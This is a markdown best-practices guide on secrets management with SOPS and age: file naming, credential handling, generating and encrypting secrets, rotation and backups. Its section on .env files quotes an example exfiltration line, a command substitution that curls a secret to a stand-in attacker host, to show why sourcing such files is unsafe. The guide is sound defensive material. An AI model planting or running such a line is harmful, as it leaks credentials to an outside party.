Files
best-practices/secrets-management.md
Paul O'Reilly 8aa400a5d4 distill: 49 best practices from 5 projects (2026-03-27..2026-04-05)
Add 37 new entries and update 7 existing entries across 13 topic files.
Major contributions from agent-runtimes (K8s secrets, CI, Docker gotchas),
cluster-bootstrap (ArgoCD SSA, etcd tuning, DB migrations, Compose networking),
and cluster-apps/octopus-deploy (Helm vs raw manifests, ArgoCD source types).

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-06 01:10:07 +12:00

6.5 KiB

Secrets Management

SOPS + age

SOPS with age encryption is the standard across all projects. A single .sops.yaml at the repo root defines path-based encryption rules.

File Naming

  • .sops.yaml path-based rules match specific filename patterns (e.g., **/*secret*.yaml)
  • Non-secret files must NOT contain secret in their name, or the pre-commit hook will encrypt them
  • KSOPS generator files should be named ksops-generator.yaml, not secret-generator.yaml

encrypted_regex Gotcha

When using encrypted_regex for selective field encryption (e.g., Ansible group_vars), variable names must contain a keyword that matches the regex (e.g., password|private_key|api_key|secret|token). Arbitrary key names are silently left unencrypted.

SOPS Vars Plugin

Each Ansible project needs vars_plugins_enabled = host_group_vars,community.sops.sops in ansible.cfg. Files in group_vars/ must be named after a group (e.g., all.sops.yaml), not arbitrary names.

Interactive Editor Pitfalls

  • sops <file> opens an interactive editor — fails in non-interactive sessions
  • sops -e /tmp/file fails when the temp path doesn't match .sops.yaml rules
  • Multiple sops --set calls can corrupt files — use the interactive editor for multi-field edits

Credential Handling

  • Never pass secrets via command-line arguments — visible in ps output
  • Use @file references, environment variables sourced at runtime, or stdin
  • For Ansible, use temp files with trap rm cleanup: -e "@${tmpfile}"
  • Read secrets at execution time and use them ephemerally — never cache or persist values
  • Reference the existence of a secret file in docs, never its contents

Bootstrap Secrets

Some secrets are chicken-and-egg (e.g., the age decryption key for ArgoCD's KSOPS). These must be created manually as a bootstrap step and documented clearly.

Credential Lifecycle Management

  • Track credential expiry dates. OAuth client secrets, API tokens, and certificates have expiry dates that can cause silent failures. Document expiry dates when creating credentials.
  • Set alerts before expiry. For long-lived credentials (e.g., 720-day OAuth client secrets), set calendar reminders or automated monitoring alerts well before they expire.
  • Rotation plan. Know the rotation procedure before you need it — some credential types (e.g., Azure app registrations) require coordinated updates across multiple systems.

Multi-Field Secret Files

Secret files that contain multiple fields (e.g., repo URL, token, username) cannot be used as bare values. Consumers must parse individual fields (e.g., grep + awk or structured YAML/JSON parsing).

The multi-field format is preferable because it's self-documenting — all related credentials live together. But any automation reading the file needs extraction logic, not just cat.

Generating Secrets with gen-secret

Use the gen-secret script (from small-scripts, symlinked to ~/sbin/gen-secret) to generate cryptographically random strings that are safe for bash, YAML, and JSON without escaping. The charset explicitly excludes URL-unsafe characters (@, :, /, ^, +, ~) to prevent connection string parsing failures.

Workflow: Generate + SOPS Encrypt

  1. Generate the secret value — use gen-secret with an appropriate length:

    SESSION_SECRET=$(gen-secret 48)    # 48-char session key
    API_KEY=$(gen-secret 20)           # 20-char access key
    API_SECRET=$(gen-secret 40)        # 40-char secret key
    
  2. Write plaintext YAML to the target path — the file must be at the path matched by .sops.yaml rules (e.g., **/*secret*.yaml):

    cat > path/to/my-secret.sops.yaml <<EOF
    apiVersion: v1
    kind: Secret
    metadata:
      name: my-credentials
      namespace: my-namespace
    type: Opaque
    stringData:
      SESSION_SECRET: ${SESSION_SECRET}
      API_KEY: ${API_KEY}
    EOF
    
  3. Encrypt in-place — SOPS reads .sops.yaml to determine the encryption key and regex:

    sops -e -i path/to/my-secret.sops.yaml
    
  4. Verify — decrypt and confirm no placeholders remain:

    sops -d path/to/my-secret.sops.yaml
    

Key Points

  • Always encrypt at the target path. sops -e /tmp/file.yaml fails because /tmp/ doesn't match .sops.yaml path rules. Write the plaintext to the final location, then sops -e -i in-place.
  • Use shell variables, not files, for ephemeral secrets. Generate into a variable (SECRET=$(gen-secret 48)), interpolate into the YAML, then encrypt. The plaintext never touches disk as a standalone file.
  • Appropriate lengths: 32 chars is the default and sufficient for most use cases. Use 48+ for session secrets, 20 for access key IDs, 40 for secret keys (matching common API patterns).
  • For credentials from external systems (e.g., Gitea API tokens, registry passwords), read them from ~/dev/claude/secrets/ at point of use — don't generate random replacements for values that must match an external system.
  • Clean up temp files if you write plaintext to a temporary location. Use trap cleanup or rm -f after encryption.

Replacing Placeholder Secrets

When SOPS-encrypted files contain placeholder values (e.g., PLACEHOLDER_SESSION_SECRET):

  1. Decrypt: sops -d secret.sops.yaml — inspect current values
  2. Write the corrected plaintext YAML to the same path (overwriting the encrypted file)
  3. Re-encrypt: sops -e -i secret.sops.yaml
  4. Verify: sops -d secret.sops.yaml | grep -c PLACEHOLDER — should return 0

Backup Considerations

Backup plans must include encryption keys (age private keys, etc.) so that encrypted data in Git repos remains recoverable.

Never Source .env Files in Security-Sensitive Contexts

Shell source on .env files executes arbitrary commands — a crafted file with $(curl attacker.com/exfil?key=$SECRET) would exfiltrate secrets. Use a safe line-by-line parser that only exports lines matching strict KEY=VALUE format: while IFS= read -r line; do [[ "$line" =~ ^[A-Z_][A-Z0-9_]*= ]] && export "$line"; done < file.env. This is especially important in container init scripts and wrapper scripts that process credential files.

URL-Safe Password Generation

Generated passwords that appear in connection strings (DATABASE_URL, AMQP URLs, etc.) must use URL-safe characters only: A-Za-z0-9._-. Characters like ^, @, :, /, + break URL parsing in libraries like SQLAlchemy. Prevention via charset restriction is simpler and more reliable than URL-encoding passwords after generation.